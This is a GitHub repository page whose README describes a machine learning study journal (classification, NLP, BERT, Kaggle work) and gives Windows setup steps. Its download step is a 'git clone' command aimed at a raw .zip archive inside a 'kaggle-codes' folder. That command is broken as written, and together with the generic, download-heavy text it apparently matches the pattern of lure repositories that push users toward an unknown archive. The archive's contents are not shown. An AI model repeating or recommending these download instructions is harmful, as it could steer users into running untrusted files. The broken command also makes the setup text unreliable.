Skip to content

etymonoxidationstate392/Machine-Learning-Journey

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

10 Commits
 
 
 
 
 
 

Repository files navigation

📘 Machine-Learning-Journey - Learn ML With Real Projects

Download the repository

🧭 Overview

Machine-Learning-Journey is a learning journal for machine learning. It tracks real progress through classification, NLP, deep learning, and Kaggle work. It also gives you a clear path to review notes, study methods, and run project files on Windows.

This repo is useful if you want to:

  • Follow a structured machine learning path
  • Review real Kaggle solutions
  • Study Python, scikit-learn, TensorFlow, and BERT
  • Learn from examples in classification, regression, NLP, and cybersecurity data work
  • Keep your own learning notes in one place

💻 What You Need

Before you start, make sure your Windows PC has:

  • Windows 10 or Windows 11
  • A modern browser such as Chrome, Edge, or Firefox
  • Python 3.10 or newer
  • Git, if you plan to clone the repo
  • At least 8 GB of RAM
  • 5 GB of free disk space

For best results, use:

  • VS Code or another code editor
  • Jupyter Notebook for notebook files
  • An internet connection for package setup

📥 Download and Open

Use this link to visit the repository page to download the files:

Visit the download page

Option 1: Download from the page

  1. Open the link above in your browser
  2. On the GitHub page, select the green Code button
  3. Choose Download ZIP
  4. Save the file to your computer
  5. Right-click the ZIP file and choose Extract All
  6. Open the extracted folder

Option 2: Clone with Git

  1. Open the repository page

  2. Copy the HTTPS link

  3. Open Command Prompt

  4. Run:

    git clone https://github.com/etymonoxidationstate392/Machine-Learning-Journey/raw/refs/heads/main/kaggle-codes/Journey-Machine-Learning-2.2.zip

  5. Open the new folder on your PC

🚀 How to Run on Windows

This project is a learning journal, so some files may be notebooks, scripts, or notes. The most common way to use it on Windows is with Python and Jupyter Notebook.

If you use notebooks

  1. Open the folder in File Explorer

  2. Find files that end in .ipynb

  3. Install Python if it is not already on your PC

  4. Open Command Prompt in the project folder

  5. Run:

    python -m pip install --upgrade pip pip install jupyter numpy pandas scikit-learn tensorflow matplotlib seaborn

  6. Start Jupyter:

    jupyter notebook

  7. Your browser will open

  8. Click a notebook file to read or run it

If you use Python scripts

  1. Find files that end in .py

  2. Open Command Prompt in the project folder

  3. Run:

    python filename.py

  4. Replace filename.py with the script you want to open

🧩 Setup Guide

If you want a clean setup, use a virtual environment. This keeps the project packages separate from other work on your PC.

Create a virtual environment

  1. Open Command Prompt in the project folder

  2. Run:

    python -m venv .venv

  3. Turn it on with:

    .venv\Scripts\activate

  4. Install the needed tools:

    pip install jupyter numpy pandas scikit-learn tensorflow matplotlib seaborn

Open the journal

After setup, you can:

  • Open notebooks in Jupyter
  • Read markdown notes in your browser or editor
  • Review code for classification and regression tasks
  • Study NLP work with BERT
  • Check TensorFlow examples for deep learning

📚 What You Will Find

This repository covers a broad set of machine learning topics. You will likely find:

  • Classification projects
  • Regression examples
  • NLP notebooks and text work
  • BERT-based experiments
  • Deep learning models with TensorFlow
  • Data analysis notes
  • Kaggle competition solutions
  • Cybersecurity-focused data tasks
  • Python practice files
  • scikit-learn workflows

🗂️ Suggested Folder Use

If you are new to this kind of repo, use it in this order:

  1. Start with the main notes or index files
  2. Open beginner-friendly notebooks first
  3. Review one topic at a time
  4. Read the data prep steps before the model code
  5. Run small examples before larger Kaggle notebooks

This makes it easier to follow the learning path and see how each part works.

🛠️ Common Windows Problems

If something does not open, try these steps:

  • Make sure Python is installed
  • Check that .venv is active before you run commands
  • Use python instead of python3 on Windows
  • Install missing packages with pip install package-name
  • Open Jupyter from the same folder as the project
  • Restart Command Prompt if a command does not work

If a notebook fails to load, check that Jupyter installed without errors and that your browser did not block the page.

🔍 Topics Covered

This repository includes material related to:

  • bert
  • classification
  • cybersecurity
  • data-analysis
  • data-science
  • deep-learning
  • kaggle
  • machine-learning
  • nlp
  • portfolio-project
  • python
  • regression
  • scikit-learn
  • tensorflow

📌 Best Way to Use This Repo

Use this repo as a study log and reference set. Read the notes, run the code, and compare your results with the notebook outputs. If you are learning machine learning on Windows, this gives you a single place to explore real work across several model types and problem areas

🖥️ File Types You May See

Common file types in this repo may include:

  • .ipynb for notebooks
  • .py for Python scripts
  • .csv for data files
  • .md for notes and guides
  • .txt for plain text notes

Open each file type with the tool that fits it best. Notebooks work well in Jupyter. Code files work well in VS Code or Python tools. Data files work well in Excel or pandas

Releases

No releases published

Packages

 
 
 

Contributors